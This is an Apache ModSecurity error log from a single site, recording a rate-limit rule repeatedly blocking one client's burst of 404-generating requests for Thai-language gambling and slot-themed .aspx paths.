[Tue Jan 27 08:21:30.580666 2026] [:error] [pid 48528:tid 48536] [client 193.70.33.35:59666] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXgFCgOGRrquT9N7CZoIaQAAAgY"]
[Tue Jan 27 08:21:33.038870 2026] [:error] [pid 48412:tid 48429] [client 193.70.33.35:59672] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A%201.aspx"] [unique_id "aXgFDXbJMfAKlln88JFIzQAAAU8"]
[Tue Jan 27 08:21:35.622822 2026] [:error] [pid 48631:tid 48635] [client 193.70.33.35:59676] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%20%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B8%B3.aspx"] [unique_id "aXgFDyN5eesHzEogX0zPwgAAAkI"]
[Tue Jan 27 08:21:38.051292 2026] [:error] [pid 48631:tid 48647] [client 193.70.33.35:42560] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C%20777.aspx"] [unique_id "aXgFEiN5eesHzEogX0zPwwAAAk4"]
[Tue Jan 27 08:21:40.676988 2026] [:error] [pid 48662:tid 48675] [client 193.70.33.35:42576] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87100%20%E0%B8%95%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%80%E0%B8%97%E0%B8%A8.aspx"] [unique_id "aXgFFOD8iESUP9uRiRORWQAAAoc"]
[Tue Jan 27 08:21:43.322071 2026] [:error] [pid 48528:tid 48534] [client 193.70.33.35:42586] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87100%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B8%A7%E0%B8%AD%E0%B8%A5%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXgFFwOGRrquT9N7CZoIjAAAAgQ"]
[Tue Jan 27 08:21:46.072730 2026] [:error] [pid 48446:tid 48501] [client 193.70.33.35:36270] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87100.aspx"] [unique_id "aXgFGsDRSaZ8F8aaLxn_mAAAAdc"]
[Tue Jan 27 08:21:48.558768 2026] [:error] [pid 48445:tid 48464] [client 193.70.33.35:36272] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87888.aspx"] [unique_id "aXgFHBFh_QNUhZ0HkzduJQAAAY8"]
[Tue Jan 27 08:21:51.077945 2026] [:error] [pid 48528:tid 48530] [client 193.70.33.35:36284] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87pg.aspx"] [unique_id "aXgFHwOGRrquT9N7CZoIlAAAAgA"]
[Tue Jan 27 08:21:53.629516 2026] [:error] [pid 7453:tid 7495] [client 193.70.33.35:36286] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%99%E0%B8%AD%E0%B8%81%20%E0%B8%A5%E0%B8%B4%E0%B8%82%E0%B8%AA%E0%B8%B4%E0%B8%97%E0%B8%98%E0%B8%B4%E0%B9%8C%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXgFIRfsyA2ws_ADqujHYQAAAEY"]
[Tue Jan 27 08:21:56.098254 2026] [:error] [pid 41780:tid 41795] [client 193.70.33.35:44770] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%99%E0%B8%AD%E0%B8%81.aspx"] [unique_id "aXgFJFvu-XLQ0TaZ4FGWJwAAAQ0"]
[Tue Jan 27 08:21:58.736725 2026] [:error] [pid 41780:tid 41782] [client 193.70.33.35:44774] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXgFJlvu-XLQ0TaZ4FGWLQAAAQA"]
[Tue Jan 27 08:22:01.400251 2026] [:error] [pid 48412:tid 48431] [client 193.70.33.35:44790] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXgFKXbJMfAKlln88JFI7AAAAVE"]
[Tue Jan 27 08:22:04.106832 2026] [:error] [pid 48412:tid 48430] [client 193.70.33.35:44804] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C168.aspx"] [unique_id "aXgFLHbJMfAKlln88JFI8QAAAVA"]
[Tue Jan 27 08:22:06.488910 2026] [:error] [pid 48528:tid 48546] [client 193.70.33.35:52816] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C888.aspx"] [unique_id "aXgFLgOGRrquT9N7CZoItQAAAhA"]
[Tue Jan 27 08:22:08.882423 2026] [:error] [pid 7561:tid 7576] [client 193.70.33.35:52828] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXgFMLXGI6mgvHQqkXxUmAAAAMw"]
[Tue Jan 27 08:22:11.280874 2026] [:error] [pid 48631:tid 48648] [client 193.70.33.35:52832] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95168%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXgFMyN5eesHzEogX0zP0QAAAk8"]
[Tue Jan 27 08:22:31.735516 2026] [:error] [pid 48528:tid 48532] [client 193.70.33.35:52838] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx"] [unique_id "aXgFRwOGRrquT9N7CZoI5gAAAgI"]
[Tue Jan 27 08:22:34.128143 2026] [:error] [pid 7453:tid 7507] [client 193.70.33.35:53648] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXgFShfsyA2ws_ADqujHuAAAAFI"]
[Tue Jan 27 08:22:36.648720 2026] [:error] [pid 48528:tid 48530] [client 193.70.33.35:59412] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXgFTAOGRrquT9N7CZoI6QAAAgA"]
[Tue Jan 27 08:22:39.174748 2026] [:error] [pid 48631:tid 48640] [client 193.70.33.35:59420] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95888.aspx"] [unique_id "aXgFTyN5eesHzEogX0zP6wAAAkc"]
[Tue Jan 27 08:22:41.571079 2026] [:error] [pid 7454:tid 7540] [client 193.70.33.35:59426] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95999%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXgFUZltCoZEfMmfl8CyHQAAAJg"]
[Tue Jan 27 08:22:44.113748 2026] [:error] [pid 48446:tid 48484] [client 193.70.33.35:59436] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95joker.aspx"] [unique_id "aXgFVMDRSaZ8F8aaLxn_7gAAAcc"]
[Tue Jan 27 08:22:46.610115 2026] [:error] [pid 7561:tid 7578] [client 193.70.33.35:60654] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95joker123.aspx"] [unique_id "aXgFVrXGI6mgvHQqkXxUpwAAAM4"]
[Tue Jan 27 08:22:49.120769 2026] [:error] [pid 7561:tid 7569] [client 193.70.33.35:60658] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95noname%20888.aspx"] [unique_id "aXgFWbXGI6mgvHQqkXxUqgAAAMU"]
[Tue Jan 27 08:22:51.559739 2026] [:error] [pid 7454:tid 7536] [client 193.70.33.35:60668] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99.aspx"] [unique_id "aXgFW5ltCoZEfMmfl8CyKAAAAJQ"]
[Tue Jan 27 08:22:54.014945 2026] [:error] [pid 41780:tid 41789] [client 193.70.33.35:60680] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXgFXlvu-XLQ0TaZ4FGWVAAAAQc"]
[Tue Jan 27 08:22:56.552949 2026] [:error] [pid 48528:tid 48552] [client 193.70.33.35:43784] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg%E0%B9%81%E0%B8%97%E0%B9%89.aspx"] [unique_id "aXgFYAOGRrquT9N7CZoJDQAAAhY"]
[Tue Jan 27 08:22:59.030986 2026] [:error] [pid 48631:tid 48633] [client 193.70.33.35:43798] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg.aspx"] [unique_id "aXgFYyN5eesHzEogX0zP9QAAAkA"]
[Tue Jan 27 08:23:01.427511 2026] [:error] [pid 7454:tid 7524] [client 193.70.33.35:43806] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg168%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXgFZZltCoZEfMmfl8CyMwAAAIg"]
[Tue Jan 27 08:23:04.080996 2026] [:error] [pid 48445:tid 48469] [client 193.70.33.35:43810] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95xo%20888.aspx"] [unique_id "aXgFaBFh_QNUhZ0HkzducAAAAZQ"]
[Tue Jan 27 08:23:06.578329 2026] [:error] [pid 48445:tid 48470] [client 193.70.33.35:52002] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95xo%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXgFahFh_QNUhZ0HkzducQAAAZU"]
[Tue Jan 27 08:23:09.079561 2026] [:error] [pid 48528:tid 48550] [client 193.70.33.35:52004] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95xo168.aspx"] [unique_id "aXgFbQOGRrquT9N7CZoJFgAAAhQ"]
[Tue Jan 27 08:23:11.575651 2026] [:error] [pid 48631:tid 48645] [client 193.70.33.35:52020] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%8A%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXgFbyN5eesHzEogX0zP_QAAAkw"]
[Tue Jan 27 08:23:13.969934 2026] [:error] [pid 48631:tid 48649] [client 193.70.33.35:52028] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%B9%E0%B8%95%E0%B8%A3%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXgFcSN5eesHzEogX0zP_wAAAlA"]
[Tue Jan 27 08:23:16.511711 2026] [:error] [pid 48631:tid 48635] [client 193.70.33.35:45484] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%B9%E0%B8%95%E0%B8%A3%E0%B8%A2%E0%B8%B5%E0%B9%88%E0%B8%81%E0%B8%B5%20lottovip.aspx"] [unique_id "aXgFdCN5eesHzEogX0zQAQAAAkI"]
[Tue Jan 27 08:23:19.136961 2026] [:error] [pid 48631:tid 48647] [client 193.70.33.35:45500] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%B9%E0%B8%95%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXgFdyN5eesHzEogX0zQBAAAAk4"]
[Tue Jan 27 08:23:21.586959 2026] [:error] [pid 48662:tid 48674] [client 193.70.33.35:45504] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%B9%E0%B8%95%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%83%E0%B8%8A%E0%B9%89%E0%B9%84%E0%B8%94%E0%B9%89%20%E0%B8%88%E0%B8%A3%E0%B8%B4%E0%B8%87%202024.aspx"] [unique_id "aXgFeeD8iESUP9uRiROR8QAAAoY"]
[Tue Jan 27 08:23:24.180345 2026] [:error] [pid 7453:tid 7495] [client 193.70.33.35:45514] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%B9%E0%B8%95%E0%B8%A3%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%83%E0%B8%8A%E0%B9%89%E0%B9%84%E0%B8%94%E0%B9%89%20%E0%B8%88%E0%B8%A3%E0%B8%B4%E0%B8%87.aspx"] [unique_id "aXgFfBfsyA2ws_ADqujH7QAAAEY"]
